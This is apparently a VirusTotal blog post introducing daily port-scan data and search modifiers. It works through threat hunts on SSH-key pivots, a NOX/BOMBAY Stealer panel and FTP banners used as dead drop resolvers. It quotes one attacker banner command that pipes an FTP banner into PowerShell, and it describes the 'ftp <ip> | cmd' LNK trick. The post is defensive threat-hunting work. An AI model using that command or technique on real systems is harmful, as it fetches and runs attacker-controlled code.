Internet Scanning in VirusTotal: hunting infrastructure by what it exposes
Until now, an IP report in VirusTotal told you a lot about reputation, who hosts it, what resolves to it (passive DNS) and which files talk to it. It told you nothing about what the machine itself was running.
VirusTotal now scans the public IPv4 space every day and stores, for each IP, the open and closed ports, the service behind each port, its banner and its fingerprints. All of it is searchable. In this post we cover what you will find in the reports and how to use it to hunt and pivot, with real examples worked end to end.
What we store for every port
Each IP now carries a list of port records. Every record has two layers: the lifecycle of the port and the latest analysis of the service running on it.
| Field | What it tells you |
|---|---|
| Status | open, closed or recently closed. Updated daily. |
| First seen / Open since / Last seen open | When we first saw the port, since when it has been open without interruption, and the last day we saw it open. |
| Protocol, product and version | The service identified on the port, e.g. ssh / OpenSSH / 9.6p1 Ubuntu 3ubuntu13.19. |
| CPEs | Standard CPE identifiers for the product, useful to map the service to known vulnerabilities. |
| Banner | The raw banner returned by the service. |
| OS and device type | Operating system or device class inferred from the service (Linux, Windows, router, firewall…). |
| Fingerprints | SSH host key fingerprints and RDP fingerprints. |
| Protocol details | HTTP status line and response headers, SMTP capabilities, IMAP/POP3 capabilities and similar protocol-specific output. |
The “closed” side matters as much as the “open” one. When a port stops answering we don’t delete it: we keep the record, flip the status and preserve the last date it was seen open. That is what lets you answer “when did this C2 go dark?” weeks after it happened.
All of this lives in the new Ports tab of the IP report, with a table of every port we know about and a detailed card per port.
Searching the scanning data
Everything above is indexed and can be queried from the search bar or the API with
entity:ip plus the new modifiers:| Modifier | Example | Matches |
|---|---|---|
port |
entity:ip port:3389 |
IPs with any information on that port |
open_port / closed_port |
entity:ip open_port:22 |
IPs where the port is currently open / closed |
port_status |
entity:ip port_status:open |
Filter by port status |
port_protocol |
entity:ip port_protocol:ssh |
Protocol running on the port |
port_service_product |
entity:ip port_service_product:openssh |
Product name |
port_service_version |
entity:ip port_service_version:8.2p1 |
Product version |
port_service_cpe |
entity:ip port_service_cpe:"cpe:/o:linux:linux_kernel" |
CPE identifier |
port_banner |
entity:ip port_banner:mikrotik |
Text inside the service banner |
os_type / device_type |
entity:ip device_type:router |
Detected OS / device class |
fingerprint |
entity:ip fingerprint:"SHA256:..." |
SSH or RDP fingerprint |
The part we like most is the bracket syntax. On a host with several services,
port_service_product:nginx port_service_version:1.24.0 would match even if nginx lives on one port and version 1.24.0 belongs to something else on another. Putting the port in brackets pins every condition to the same service:entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0
entity:ip os_type[445]:Windows
entity:ip port_banner[21]:mikrotik
entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"
The bracket form works for
port_banner, port_protocol, port_service_product, port_service_version, port_service_cpe, os_type, device_type and fingerprint. And since these are regular modifiers, you can combine them with everything you already use for IPs: asn, country, ssl_subject, jarm, threat_actor, collection, have and so on.A word about noise
Our first instinct was to hunt C2 frameworks by their default ports.
entity:ip open_port:50050 (Cobalt Strike’s default team server port) returned more than 1.5 million IPs. A quick look at the results explains why: many of those hosts answer on every port we probe, including 4444, 5552, 6606 or 8808 at the same time.An open port on its own is a weak signal. What makes a query useful is what is behind the port: a product, a version, a banner string or a fingerprint.
Pivoting on an SSH host key: a real example
This is where the fingerprints earn their place. An SSH host key is generated when a server is installed. If two IPs present the same key, you are usually looking at the same machine that moved, or at a server cloned from the same image. In both cases, it could be related to the same operator.
We started from 91.219.237[.]110, an IP hosted in Hungary that appears in our APT28 collection and in a community collection about Havoc C2. Its Ports tab shows a small footprint: SSH on 22 and nginx on 80 redirecting to HTTPS.
Searching for that fingerprint gives exactly one other IP:
entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"
| IP | Hosting | Detections | Collections |
|---|---|---|---|
| 91.219.237[.]110 | ServerAstra (HU) | 3 | APT28, Havoc |
| 185.146.232[.]3 | FlokiNET (IS) | 0 | none |
The second IP has no detections, no collections and no communicating files. On reputation alone, nobody would look at it twice. But the port data says it is a twin of the first: same SSH key, same OpenSSH build, same nginx 1.24.0 on port 80 with the same redirect, and the same JARM. Its HTTPS certificate is issued to the same unusual common name as the first one,
b4ck.my.
That certificate gives us a second, independent pivot:
entity:ip ssl_subject:"b4ck.my"
It returns a third IP, 96.9.125[.]59, hosted in Romania. Its Ports tab tells the rest of the story: both 22 and 80 are closed, SSH was last seen open on 2025-11-18 and HTTP on 2025-12-05. Meanwhile, the SSH service on 185.146.232[.]3 was first seen on 2025-11-22. It looks very much like whoever runs this cluster retired one node and stood up the next one within days.
Two honest caveats before anyone blocks anything.
Check the dates behind an attribution. The malware we have communicating with 91.219.237[.]110 was first submitted between 2009 and 2015. IPs get reassigned, and ten years is a long time. What the port data shows is that these three IPs share infrastructure today: the same SSH host key, the same uncommon certificate name and the same service stack, which suggests they are likely managed by the same operator. That is exactly the question a static reputation score can’t answer. Whether that operator has anything to do with the old samples, or with APT28, is a separate investigation.
Check how many hits a fingerprint has. A shared key is only meaningful when it is rare. While preparing this post we found SSH keys shared by more than 1,400 IPs on the same cloud providers (VPS templates that ship a baked-in host key) and by more than 1,200 residential IPs on Brazilian ISPs (router firmware with a default key). Two or three hits is a lead. A thousand is a vendor. The same applies to JARM: the JARM of the servers above matches 1.7 million IPs, because it is simply what a default nginx looks like.
A useful habit is to write the final pivot as a single query, pinning each condition to its port. Here is the fingerprint of the cluster above:
entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"
From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443
Not every investigation starts with an IP. Often you start by hunting suspicious URLs—for instance, operator login panels stood up directly on raw IP addresses and non-standard ports before a domain is ever pointed at them:
entity:url tag:ns-port tag:password-input tag:ip
Here,
tag:ip restricts results to URLs hosted on a literal IP address, tag:ns-port filters for non-standard ports, and tag:password-input requires a password field in the rendered DOM.One of the hits is
https://5.175.221[.]206:8443/. On vendor detections alone, it looks harmless (1/96 detections) on the scan made by September 24, 2026. However, the screenshot captured in the URL report tells a very different story:
The page is the operator login panel for NOX Stealer (
title:"NOX STEALER - Login"), describing itself in its meta tags as a “Lightweight C++ infostealer with automated worm features”.If we pivot on that page title across URLs (
entity:url title:"NOX STEALER"), we find 15 URLs across two sibling domains (grabber[.]cy and lumma[.]cy, the latter linked to dozens of trojan.lumma payloads).
Both domains sit behind Cloudflare, which hides the origin server and blocks infrastructure pivoting.
On
5.175.221[.]206, however, the operator exposed the panel directly on the machine. Clicking from the URL report to the host’s Ports tab reveals the complete stack behind that login screen:
| Port | Status | What the scanner captured |
|---|---|---|
| 8443 | open |
HTTPS (nginx 1.24.0, PHP/8.3.33) serving the NOX Stealer login panel |
| 445 | open |
SMB on Windows Server 2022 (os_type: 10.0.20348), NetBIOS host WIN-BM6C4ESB87V |
| 3389 | open |
RDP (Microsoft Terminal Services, Windows Server 2016/2019 fingerprint) |
| 80 | recently closed |
HTTP (last seen open 2026-09-24, returning 308 Permanent Redirect to HTTPS) |
Instead of a generic Linux VPS, the panel is running on a Windows Server 2022 host with SMB and RDP exposed alongside
nginx 1.24.0 and PHP on port 8443.Searching for
entity:ip open_port:8443 alone returns 4.5 million IPs, and entity:ip port_service_product[8443]:nginx still returns over 345,000. But by combining the web stack on port 8443 with the Windows build on port 445 using the bracket syntax, we cut those 4.5 million hosts down to just 10 IPs globally:entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389
That is how URL hunting and Internet Scanning complement each other: the URL search surfaces the login form on a non-standard port, the URL screenshot confirms the panel, and the IP’s Ports tab gives you the multi-port host signature that Cloudflare was hiding on the domains.
Catching a live rebrand: NOX becomes BOMBAY
While we were putting this blog post together,
https://5.175.221[.]206:8443/ was re-analyzed—and we caught the operator rebranding the panel in place from NOX Stealer to BOMBAY Stealer:
A few details from the new scan show why combining browser-based URL analysis with host-level scanning is so effective:
- The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full
11,408-byte HTML login page directly, indexingtitle:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only<meta name="robots" content="noindex">, leaving the statictitleattribute empty. Full-browser execution, however, rendered the page and captured the new<title>in the DOM:BOMBAY STEALER - Login(withog:titleandog:site_nameupdated toBOMBAY STEALER). - New marketing pitch, same codebase. The updated
<meta name="description">in the rendered DOM now advertises “currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers”—even though the visible subtitle on the login card still reads “Lightweight, C++-native infostealer with automated worm propagation” word for word. Under the hood, the Tailwind CSS theme (#a855f7/#030308), thepanel_jwtsession logic, and the MD5-prefixed routes (rotated from/29f69693228c27033209532b5a6a97d1/...to/3a85f1d2131fa2723ac6ade171eafacd/dashboardand/register) are identical. - The host fingerprint didn’t blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like
title:"NOX STEALER". Yet the machine on5.175.221[.]206didn’t change a single exposed service:nginx 1.24.0andPHP/8.3.33on port8443, Windows Server 2022 (10.0.20348) on port445, and RDP on port3389remain untouched.
If you want to dive deeper into how we analyze URLs and capture rendered DOMs and screenshots, check out our posts on Enriched URL Reports powered by full-browser execution in the GTI Community and URL Scanning 2.0 on the VirusTotal blog.
Hunting FTP banners used as dead drop resolvers
In August, the SOCRadar Threat Research Unit published an analysis of threat actors using FTP banners as dead drop resolvers. The trick is simple: a malicious LNK runs
ftp <ip> | cmd, the FTP client prints the server’s welcome banner, and the pipe hands that banner straight to a shell. The command never lives in the shortcut, it lives in the banner. The two clusters they tracked ended up delivering two new RATs, E4del and PINHOLE.The banner is exactly what our scanner stores for every port, so the technique can be hunted directly:
entity:ip port_banner[21]:"conhost"
At the time of writing the query returns five IPs. All of them serve the same template on port
21, and only the next-hop IP changes:start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"
| IP | Hosting | Port 21 | Next hop in the banner |
|---|---|---|---|
| 157.254.194[.]31 | 12651980 CANADA INC. (US) | closed, last seen open 2026-08-10 | 167.148.41[.]164 |
| 54.37.237[.]164 | OVH (FR) | open, last seen 2026-10-01 | 54.37.237[.]166 |
| 51.89.199[.]125 | OVH (GB) | closed, last seen open 2026-08-31 | 51.89.199[.]118 |
| 185.14.92[.]162 | Florian Kolb (DE) | closed, seen open only on 2026-07-03 | 185.14.92[.]223 |
| 45.87.41[.]133 | SpectraIP (NL) | closed, last seen open 2026-07-08 | 64.111.92[.]89 |
A few things stand out once the hits are side by side:
- The E4del chain, with dates.
157.254.194[.]31pointing to167.148.41[.]164is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port8000and a Python SimpleHTTP server on port8080, so it is worth keeping an eye on. - First and second hop sit next to each other.
54.37.237[.]164hands off to.166and51.89.199[.]125to.118, both on OVH, while185.14.92[.]162hands off to.223on the same ASN. Once you find a first stage, its /24 is a cheap next place to look. - Earlier than reported.
45.87.41[.]133was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop,64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported. - Still live.
54.37.237[.]164was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.
Using it from the API
The IP object now includes a
port_info list, so the data comes with the calls you already make. There are also three new endpoints: /api/v3/port_infos/{ip}:{port} for the current state of a port, /api/v3/port_infos/{ip}:{port}/analysis for the full history of analyses of that port (paginated with a cursor), and /api/v3/port_analyses/{ip}:{port}:{timestamp} for a specific analysis.
# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests
BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}
def ports(ip):
r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
r.raise_for_status()
for p in r.json()["data"]["attributes"].get("port_info", []):
svc = p.get("latest_analysis", {}).get("port_service", {})
fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)
def search(query, limit=40):
r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
params={"query": query, "limit": limit}, timeout=120)
r.raise_for_status()
return [d["id"] for d in r.json().get("data", [])]
ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))
The status comes back as
PORT_INFO_STATUS_OPEN, PORT_INFO_STATUS_CLOSED or PORT_INFO_STATUS_RECENTLY_CLOSED, and dates are Unix timestamps.What about Livehunt?
Not yet. Livehunt rules for IPs use the
vt.net.ip fields of the YARA vt module, and port data isn’t exposed there today. Until it is, the practical workaround is to save your best queries and re-run them on a schedule through the API.Wrapping up
Ports are the part of an IP that the operator can’t hide from a scanner. A reputation score tells you what an IP did; the port data tells you what it is and what it looks like now, and it lets you find its siblings before they do anything. Open any IP report, go to the Ports tab, and search for the first fingerprint you see.
Happy hunting!
Read more: Internet Scanning in VirusTotal: hunting infrastructure by what it exposes
Story added 8. October 2026, content source with full text you can find at link above.